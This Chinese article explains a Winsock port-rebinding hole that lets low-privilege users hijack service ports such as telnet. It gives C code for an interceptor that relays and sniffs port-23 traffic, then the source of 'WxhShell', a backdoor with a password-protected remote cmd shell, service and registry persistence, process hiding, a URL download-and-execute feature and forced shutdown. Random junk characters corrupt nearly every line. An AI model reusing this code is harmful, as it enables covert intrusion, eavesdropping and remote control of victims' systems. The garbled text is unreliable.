在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
UjmBLXz@T s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
//c<p @"BvyS,p saddr.sin_family = AF_INET;
IR*g>q */=5m] saddr.sin_addr.s_addr = htonl(INADDR_ANY);
a );> ?k lV;+ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
[Z2:3*5r. /*5t@_0fe 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
I]qml2 +r7uIwi$@ 这意味着什么?意味着可以进行如下的攻击:
]~my<3j}or
z^s40707x 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
}-3|
v<d mQRQ2SN6 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
C-@ -4P2 2 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Evd>s L2s)B 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
}}a<!L,{ <8UqV.& 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
VGbuEC [Y =^.f) 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
jM%qv "j+zd&*={ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
!^Mk5E ( I!(.tu6u6c #include
#q{i<E 07 #include
[@Hv, #include
auOYi<<>W #include
VKtrSY}6T DWORD WINAPI ClientThread(LPVOID lpParam);
8'=8!V int main()
>n,RBl {
5#~ARk*?a WORD wVersionRequested;
SB#YV
DWORD ret;
wAHW@q9CK WSADATA wsaData;
.r9-^01mG BOOL val;
:tP:X+?O SOCKADDR_IN saddr;
],ow@} SOCKADDR_IN scaddr;
,BM6s,\ int err;
\~H;Wt5 SOCKET s;
3VJoH4E!6 SOCKET sc;
i2or/(u` int caddsize;
]?P9M<0PM HANDLE mt;
x)6yWr[ri% DWORD tid;
te?R(& wVersionRequested = MAKEWORD( 2, 2 );
6&(gp(F err = WSAStartup( wVersionRequested, &wsaData );
M[5zn if ( err != 0 ) {
Vq`i.>%5 printf("error!WSAStartup failed!\n");
"65@8xt== return -1;
ayfZ>x{s* }
.pNPC|XU saddr.sin_family = AF_INET;
`Q2
`": iE}jilU //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
S[fzy$"> ]A}'jP saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
hw`+,_ g saddr.sin_port = htons(23);
-#]?3*NO if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
pm<zw- {
mk JS_6 printf("error!socket failed!\n");
;I'pC?!y return -1;
#pJ^w>YNy }
XAuB .)| val = TRUE;
Ya] qo] //SO_REUSEADDR选项就是可以实现端口重绑定的
b&u o^G, if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
<Sn5ME<* {
<wwcPe} printf("error!setsockopt failed!\n");
3 wVN:g7 return -1;
kq6K<e4jO }
0dhJ# [Y //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
9NwA5TP9_ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
ZVotIQ/Q' //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
v#/Uq?us 9WQC\/w if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
htbN7B( {
WXj}gL` ret=GetLastError();
DKL< "#.7 printf("error!bind failed!\n");
\nV|Y=5 return -1;
t5h]]TOz }
%-@`| listen(s,2);
Wt+aW while(1)
L{$ZL & {
>b;fhdd:4 caddsize = sizeof(scaddr);
gBRhO^Sz //接受连接请求
)f4D2c&VE sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
{N+N4* if(sc!=INVALID_SOCKET)
F,#)8>O {
Yo:l@( mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
zECdj'/ if(mt==NULL)
=p>"PqJ/7n {
=LJc8@<:f printf("Thread Creat Failed!\n");
rkA0v-N6v break;
ShanwaCDqv }
nf!RB-orF }
m3]|I(]`Xe CloseHandle(mt);
)5P*O5kQ - }
^=Rqa
\; closesocket(s);
lp5`Kw\ WSACleanup();
Fz7(Kuc return 0;
#ej^K |Qx }
FKflN DWORD WINAPI ClientThread(LPVOID lpParam)
07-S%L7Z {
Uh}n'Xd#{} SOCKET ss = (SOCKET)lpParam;
HBYqqEO SOCKET sc;
"HFS5Bj' unsigned char buf[4096];
0 3L"W^gc SOCKADDR_IN saddr;
-!( long num;
!]Z> T5$ DWORD val;
K^AX=B DWORD ret;
"iE9X.6NMu //如果是隐藏端口应用的话,可以在此处加一些判断
tYyva //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
MP, l*wVd saddr.sin_family = AF_INET;
vTYI
ez`g saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
W5*%n]s~ saddr.sin_port = htons(23);
+]Of f^s if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
]B0>r^ {
[wl:"rm printf("error!socket failed!\n");
.['@:}$1 return -1;
[6qa"Ie }
C,C%1
val = 100;
qOz,iR?} if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
$DC*&hqpt {
B M{GSX ret = GetLastError();
"/hM& return -1;
x Yr-,$/ }
E!'H,#"P if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
J)
v~ {
_#9:cH* ret = GetLastError();
0~RsdQGqC return -1;
U7J0& }
w3:WvA5jt if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
DHGv<
F@ {
ZC3b9:tk printf("error!socket connect failed!\n");
4*OL^\% closesocket(sc);
N]: "3?% closesocket(ss);
v,r}q1.E} return -1;
xEaRuH c }
ke|v|@ while(1)
94%gg0azp {
I jN3 jU //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
';??0M //如果是嗅探内容的话,可以再此处进行内容分析和记录
1Nx.aji //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
vTjgW?9 num = recv(ss,buf,4096,0);
!cw<C* if(num>0)
0Mt2Rg} send(sc,buf,num,0);
B{!)GZ(} else if(num==0)
zvL&V
.> break;
k|-`d num = recv(sc,buf,4096,0);
c\UVMyE if(num>0)
&oiX/UaY send(ss,buf,num,0);
@Fqh]1t else if(num==0)
(6z^m?t? break;
nL@
"FZ`( }
hC<X\yxe closesocket(ss);
Ken |!rL closesocket(sc);
FCQoz"M return 0 ;
Mm-FdP
m }
:SG9ygq' 6BVV2j)zl: .%`|vGF ==========================================================
JY0t Hs Y+<C[Fiq 下边附上一个代码,,WXhSHELL
$G5m/[KDI `|wH= ==========================================================
,Ihuo5>/z [6BLC{2 #include "stdafx.h"
/7*jH2 zB\g'F/ #include <stdio.h>
8-cG[/|0 #include <string.h>
wKum{X8 #include <windows.h>
0t5>'GYX #include <winsock2.h>
m3
; #include <winsvc.h>
wq_c^Ioy #include <urlmon.h>
@8Drhx (p`'Okw #pragma comment (lib, "Ws2_32.lib")
YS,kjL/ #pragma comment (lib, "urlmon.lib")
v83uGEq( }p}i_'% #define MAX_USER 100 // 最大客户端连接数
KSVIX!EsX #define BUF_SOCK 200 // sock buffer
|8&AsQd #define KEY_BUFF 255 // 输入 buffer
5. :To2 4C[,S|J #define REBOOT 0 // 重启
fOJk+?
c #define SHUTDOWN 1 // 关机
*jGB/ y qLKyr@\' #define DEF_PORT 5000 // 监听端口
64s+
0} jd l1Q<Z #define REG_LEN 16 // 注册表键长度
:7Rs$
-*Uk #define SVC_LEN 80 // NT服务名长度
( y^oGY; "*laY<E // 从dll定义API
xj{X#[q): typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
=b32E^z, typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
b@^M|h.Va typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
t2p/NIn typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
3k;U#H dpZ7eJ // wxhshell配置信息
!W^2?pqN struct WSCFG {
KU-z;}9s int ws_port; // 监听端口
oHI~-{m3) char ws_passstr[REG_LEN]; // 口令
jCW>=1:JGY int ws_autoins; // 安装标记, 1=yes 0=no
,9|% char ws_regname[REG_LEN]; // 注册表键名
KwPJ0
]('_ char ws_svcname[REG_LEN]; // 服务名
|{PQ0DS char ws_svcdisp[SVC_LEN]; // 服务显示名
H; TmG<S char ws_svcdesc[SVC_LEN]; // 服务描述信息
*IGxa char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Q+mMpI int ws_downexe; // 下载执行标记, 1=yes 0=no
Sx;zvc char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
R|V<2 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
?#}=!$p s%GiM };
+n,8o:fU: )FWF T:P~ // default Wxhshell configuration
lx$Y-Tb^F struct WSCFG wscfg={DEF_PORT,
IS&`O=7 "xuhuanlingzhe",
HZ8
j[kO 1,
C$*`c6R "Wxhshell",
Z ;% "Wxhshell",
#Yw^n?~~ "WxhShell Service",
CSr{MF`]e "Wrsky Windows CmdShell Service",
(ZShh y8g "Please Input Your Password: ",
pal))e!B 1,
FVY,CeA. "
http://www.wrsky.com/wxhshell.exe",
WcH^bAY 6 "Wxhshell.exe"
H7Y}qP5X };
C| Mh<,~E ,;/4E // 消息定义模块
EyBdL char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
15yIPv+5 char *msg_ws_prompt="\n\r? for help\n\r#>";
Td;e\s/] char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
r0\bi6;s/ char *msg_ws_ext="\n\rExit.";
DIk$9$"<x char *msg_ws_end="\n\rQuit.";
X'kw5P!sq char *msg_ws_boot="\n\rReboot...";
]2h[.qa char *msg_ws_poff="\n\rShutdown...";
~%#?;hJ char *msg_ws_down="\n\rSave to ";
*}/xy
SH3 &51/Pm2O char *msg_ws_err="\n\rErr!";
l06 q1M 3 char *msg_ws_ok="\n\rOK!";
"b1_vA]03 I.KYWs char ExeFile[MAX_PATH];
L+I[yJY:! int nUser = 0;
Q~xR'G[N HANDLE handles[MAX_USER];
1'aS2vB9 int OsIsNt;
xR_]^Get >E]*5jqU SERVICE_STATUS serviceStatus;
g!~j
Wn?A SERVICE_STATUS_HANDLE hServiceStatusHandle;
gKYn* uXhp+q\ // 函数声明
+B8Ut{l int Install(void);
vnN_csJ#^ int Uninstall(void);
Bs# #3{ylu int DownloadFile(char *sURL, SOCKET wsh);
AP@xZ%;K int Boot(int flag);
N.64aL|1 void HideProc(void);
aNqVs|H int GetOsVer(void);
RLKO0 # int Wxhshell(SOCKET wsl);
J&3;6I
& void TalkWithClient(void *cs);
3M@>kIT8 int CmdShell(SOCKET sock);
+uT=Wb \ int StartFromService(void);
W/\7m\B int StartWxhshell(LPSTR lpCmdLine);
Ix(4<s dHp6G^Y VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
L1F){8[ VOID WINAPI NTServiceHandler( DWORD fdwControl );
vo::y" {#[a4@B0 // 数据结构和表定义
"Q/3]hc. SERVICE_TABLE_ENTRY DispatchTable[] =
?0?' {
PN.6BJvu {wscfg.ws_svcname, NTServiceMain},
kBONP^xI {NULL, NULL}
ko5\*!|:lj };
8p5'}Lq VqbiZOZ@ // 自我安装
{>+$u"* int Install(void)
5vpf; {
RU{}qPs? char svExeFile[MAX_PATH];
1B1d>V$* HKEY key;
TuF:m"4 strcpy(svExeFile,ExeFile);
B"qG-ci JfVayI= // 如果是win9x系统,修改注册表设为自启动
<;XJ::d if(!OsIsNt) {
]!A;-m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
VKs\b-1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
JBwTmOvQ RegCloseKey(key);
/C(L(X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
xJ"KR:CD> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
{[s<\<~B* RegCloseKey(key);
cYp}$ return 0;
N!m%~},s// }
V`H#|8\i }
r[,KE.^6~# }
uZYeru"w else {
<]9MgfAe
lyi}q"Kn*; // 如果是NT以上系统,安装为系统服务
G{"1I SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
%b*%'#iK if (schSCManager!=0)
)8<X6 {
c8'8DM SC_HANDLE schService = CreateService
I#Bz
UF (
Ym6ec|9; schSCManager,
(8*lLZ wscfg.ws_svcname,
D~y]d wscfg.ws_svcdisp,
<N*>9S,} SERVICE_ALL_ACCESS,
x$Dv&4 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
*/\.-L{h SERVICE_AUTO_START,
n;=A'g|Q SERVICE_ERROR_NORMAL,
e7qT; svExeFile,
cpy"1=K~M NULL,
iY($O/G[+ NULL,
YL.z|{\e NULL,
h49Q2` NULL,
~"wD4Ue NULL
n (|>7 );
q-RGplx if (schService!=0)
x'KsQlI/
{
OP&[5X+Y CloseServiceHandle(schService);
kzmt'/ L8 CloseServiceHandle(schSCManager);
6,7omYof strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
U=t'>;(g strcat(svExeFile,wscfg.ws_svcname);
roA1=G\Q if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
.( J/*H RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
4tC_W!?$t RegCloseKey(key);
g}D$`Nx: return 0;
K@i*Nl }
BmM,vllO }
7^iAc6QSy3 CloseServiceHandle(schSCManager);
x L BG}C }
|")x1'M }
M'HOw)U <2Q@^ return 1;
O7\s1
V; }
|]q=D1/A -hzza1DP // 自我卸载
c`+ITNV int Uninstall(void)
gfYB|VyWo {
W<4\4 HKEY key;
l+6\U6_)B :qbG%_PJ if(!OsIsNt) {
ypd?mw&1} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
j[fQs,efK RegDeleteValue(key,wscfg.ws_regname);
jQb D2x6( RegCloseKey(key);
x.yL'J\) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
.#@D n( RegDeleteValue(key,wscfg.ws_regname);
[z~Nw# RegCloseKey(key);
E1C_d' return 0;
[FL I+;gY }
wb[(_@eZ }
~D5MAEazS }
K5>:WiY else {
;N\?]{ L &[RU.Q!_H SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
0vp I#q if (schSCManager!=0)
0I((UA/7Zs {
gcxk'd SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
^WD$
gd if (schService!=0)
CiI:
uU {
]e.+u if(DeleteService(schService)!=0) {
V+24- QWh CloseServiceHandle(schService);
>n~p1: $ CloseServiceHandle(schSCManager);
c0&'rxi(B return 0;
(OB8vTRXP }
'cN#rHPB6 CloseServiceHandle(schService);
j\f$r,4 }
bFezTl{M CloseServiceHandle(schSCManager);
"PaGDhS }
V^I/nuy }
i[{]
LiP AJfi,rFPg return 1;
kA!(}wRL }
=jc8=h[F< r)(BT:2m // 从指定url下载文件
*"FLkC4 int DownloadFile(char *sURL, SOCKET wsh)
;J-Ogt @d7 {
rs Uw(K^ HRESULT hr;
8 QF?W{NK char seps[]= "/";
wp.e3l char *token;
\Z20fh2 char *file;
yM:~{;HLF char myURL[MAX_PATH];
t *
vg]Yc char myFILE[MAX_PATH];
ll\^9
4]Q N5s|a5 strcpy(myURL,sURL);
yI.H4Dl< token=strtok(myURL,seps);
8='21@wrN while(token!=NULL)
H
r^15 {
QYfAf3te file=token;
?lDcaI>+n token=strtok(NULL,seps);
KHecc/,,S }
CKt|c!3 7 *C@[5#CA2z GetCurrentDirectory(MAX_PATH,myFILE);
(GEi<\16[ strcat(myFILE, "\\");
)^f9[5ee strcat(myFILE, file);
9id~NNr7 send(wsh,myFILE,strlen(myFILE),0);
xSDE6] send(wsh,"...",3,0);
cbCE
$ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
b^,Mw8KsO if(hr==S_OK)
*76viqY;dE return 0;
\As oeeF else
i\Pr3
7
" return 1;
FW)^O%2s ~"q,<t }
oIvnF:c nK jeH@ // 系统电源模块
a|P~LMPM int Boot(int flag)
<a+eF}*2 {
K\KO5A HANDLE hToken;
L_U3*#Zdz7 TOKEN_PRIVILEGES tkp;
noaN@K[GO Jn[q<e" if(OsIsNt) {
=WmBpUh OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
qXB03}] G LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
-?aw^du tkp.PrivilegeCount = 1;
k?["F%)I tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
l|vWeBs AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
i_0,BVC if(flag==REBOOT) {
DO1 JPeIi if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
pY)j0tdd return 0;
b#p~F}qT }
tB ,. else {
x0u?*5-t if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
?)?IZ Qj return 0;
`rz`3:ZH }
XWUvP }
a(}VA|l else {
|D;"D if(flag==REBOOT) {
"#-Nqq if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
R0Ax$Cv{ return 0;
`R=a@DQ }
iHE0N6%q else {
NVO9XK if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
~T>jBYI0 return 0;
CJMaltPp& }
9C557$nS^ }
Gd30Be2gd ^MW\t4pZ return 1;
%aj7-K6:t }
=2RhPD <qbZG}u // win9x进程隐藏模块
).0V%}> void HideProc(void)
* ?
K4!q' {
/S7+B] ]z-']R; HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
l zfD)TWb if ( hKernel != NULL )
' "ZRD_" {
)l+XD I pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
#&^ZQs< ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
H$~M`Y9I~ FreeLibrary(hKernel);
v87$NQvwQ }
Qq'i*Mh \LIy:$`8
return;
~In{lQ[QX }
S2J#b"Y CrnB{Z4L // 获取操作系统版本
G$;>ueM int GetOsVer(void)
QD$}-D[ {
[c&2i`C OSVERSIONINFO winfo;
x @1px&^ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
tWpl`HH GetVersionEx(&winfo);
KI Ek/]<H if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
eaV3)uP return 1;
cT/3yf else
gB(9vhj$ return 0;
Ey r5jXt%; }
-Bo86t)F *'Z-OY<V // 客户端句柄模块
wrH7 pd int Wxhshell(SOCKET wsl)
=E;=+eqt {
OOCQsoN SOCKET wsh;
E^b
pckP struct sockaddr_in client;
Dz[566UD DWORD myID;
yB-.sGu
n=f`AmF; while(nUser<MAX_USER)
iKg75%;t {
|'ZN!2u int nSize=sizeof(client);
X3P&"}a wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Px'R`1^ if(wsh==INVALID_SOCKET) return 1;
!+m@AQ:, ~k9O5S{ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
V-[2jC{ if(handles[nUser]==0)
C=>B_EO closesocket(wsh);
q&u$0XmV else
qovQ9O nUser++;
$ I#7dJ"* }
^fkCyE;= WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
M6# \na 'b8R#R\P return 0;
@(Z( /P;: }
M[A-1]' Oc7 >S.1 // 关闭 socket
jyNb(Z void CloseIt(SOCKET wsh)
?#?e(mpo {
g<fP:/ closesocket(wsh);
Uf# PoQ!y nUser--;
'KSa8;:=C ExitThread(0);
T'hml }
P?uf?{ 8|w-XR // 客户端请求句柄
}.'Z=yy void TalkWithClient(void *cs)
O'fk&&l {
|-|jf "hW(S SOCKET wsh=(SOCKET)cs;
d& hD[v char pwd[SVC_LEN];
;vMn/ char cmd[KEY_BUFF];
.
=&Jo9 char chr[1];
6A}eSG3 int i,j;
!&W|myN^ (/'h4KS@ while (nUser < MAX_USER) {
KZ]r8 .%_)*NUZ if(wscfg.ws_passstr) {
4 &|C} if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
PJCnud F //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
X&s7%]n+ //ZeroMemory(pwd,KEY_BUFF);
:ztyxJv1 i=0;
CQ<8P86gt while(i<SVC_LEN) {
ai4PM
b$p 7UnzIe // 设置超时
JfkTw~'R fd_set FdRead;
q'.;W@m struct timeval TimeOut;
(]OFS;% FD_ZERO(&FdRead);
)i @1XH"D FD_SET(wsh,&FdRead);
_D-5}a" TimeOut.tv_sec=8;
:.DI_XN` TimeOut.tv_usec=0;
A]j}' int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
u)7*Rj^ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Hr6wgYPi H "O$& if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
'| &,E#` pwd
=chr[0]; 8hZwQ[hr
if(chr[0]==0xd || chr[0]==0xa) { q8/ihA6:
pwd=0; PT+c&5A S
break; <^Nk.E
} R3?:\d{
i++; )i0 $j)R
} U,HIB^=
R
lj*8mS/;h
// 如果是非法用户,关闭 socket X($6IL6m
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $~=2{
} YxJ`-6
v{.\iIg N
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 66
N)
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p'80d:
E3f9<hm
while(1) { AVv#\JrRW
-1CEr_(P^
ZeroMemory(cmd,KEY_BUFF); { UOhVJy
WO@H*
// 自动支持客户端 telnet标准 8[~~gYl
j=0; {S*!B
while(j<KEY_BUFF) { 6Hwxx5>r
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D
M}s0O$0
cmd[j]=chr[0]; a1|c2kT
if(chr[0]==0xa || chr[0]==0xd) { .uKx>YB}
cmd[j]=0; 7WP%J-
break; xor TL8
} T/5"}P`
j++; <raG07{!*
} V!xwb:J
8?1o<8hV
// 下载文件 Mn@$;\:
if(strstr(cmd,"http://")) { xg} ug[
send(wsh,msg_ws_down,strlen(msg_ws_down),0); <BPRV> 0X
if(DownloadFile(cmd,wsh)) 4>YU8/Rw
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]~8v^A7u
else XVF^,Yf
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sMm/4AY]
} TP{Gt.e
else { T(V8;!
s^cc@C
switch(cmd[0]) { MRs,l'
IA2GUnUhu
// 帮助 ^dfx~C
case '?': { ,1
P[
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _f3
WRyN0
break; B+Z13;}B
} AK *N
// 安装 vbp-`M(
case 'i': { `
8UWE {
if(Install()) j o_
sAb
send(wsh,msg_ws_err,strlen(msg_ws_err),0); U^rm:*f
else xGRT"U(
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hbk&6kS
break; hwVAXsF~
} X>t3|h
// 卸载 ^i'y6J
case 'r': { LeHiT>aX!
if(Uninstall()) 7F(5)Utt
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8a>SC$8"
else #*2Rp8n
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SY1GR n
break; J?%}=_fsa
} 3wC
R|ab}
// 显示 wxhshell 所在路径 1,`H:%z%
case 'p': { hS:jBp,
char svExeFile[MAX_PATH]; XlkGjjW#/J
strcpy(svExeFile,"\n\r"); ?z=\Ye5x
strcat(svExeFile,ExeFile); 2\0Oji\6
send(wsh,svExeFile,strlen(svExeFile),0); [se^.[0,
break; c!Dc8=nE0m
} z(H?VfJo
// 重启 0E6lmz`O
case 'b': { VVuR+=.&
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nbmc[!PwG
if(Boot(REBOOT)) hNbIpi=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =g~j=v,e
else { J`oTes,
closesocket(wsh); >"("*3AO
ExitThread(0); Sj-[%D*
} ai;\@$ cq
break; 2dbRE:v5
} ZL_[4Y
// 关机 n &}s-`D
case 'd': { V1<`%=%_W
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); HZZDv+
if(Boot(SHUTDOWN)) kX2d7yQZz
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
c Zvf"cIs
else { @`|)Ia<
closesocket(wsh); H+l,)Se
ExitThread(0); B8V,)rn
} Do*n#=
break; @Zm Jz
} };S0 G!
// 获取shell (Uk,
case 's': { n%$ &=-Fk
CmdShell(wsh); u^4h&fL
closesocket(wsh); lTz6"/
ExitThread(0); vV^dm)?
break; Dp!zk}f|
} {gU&%j
// 退出 ;dQAV\
case 'x': { #H5=a6E+q
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -]XP2}#d
CloseIt(wsh); )`?%]D
break; V3.t;.@
} zxKCVRJ
// 离开
%}b8aG+
case 'q': { LM.`cb;?G
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Zdn!qyR`
closesocket(wsh); 0=![fjm
WSACleanup(); 8MZ$T3IM
exit(1); (lWq[0^N
break; PW)aLycPK
} =~|:t&v=c
} {THqz$KN
} |y1;&<
GAl+Zg##
// 提示信息 u\g,.C0
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .\)A@ua^
} U5+vN[ K
} 9UD
@MA
Q`6i =mB;
return; C1fyV]
} v?j!&d>
@8gEH+r
// shell模块句柄 LwdV3 vb#
int CmdShell(SOCKET sock) 5Op_*N{V
{ 3!#/k+,C
STARTUPINFO si; EW(J5/mn
ZeroMemory(&si,sizeof(si)); 12(wj6Q
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i_l+:/+G+
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M{KW@7j
PROCESS_INFORMATION ProcessInfo; flnVYQe
char cmdline[]="cmd"; 8MF2K6
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fN[8N$1-
return 0; xPC"c*
} p538r[f<
j_Nm87i]
// 自身启动模式 n1J]p#nCa.
int StartFromService(void) U^_D|$6
{ _gV8aH ZyM
typedef struct G[z
.&l
{ '%7 Bx of
DWORD ExitStatus; X")|Uw8Kl/
DWORD PebBaseAddress; Y25uU%6t_
DWORD AffinityMask; J8Z0D:5
DWORD BasePriority; D>kD1B1
ULONG UniqueProcessId; A3R#z]Ub
ULONG InheritedFromUniqueProcessId; J^zi2jtV
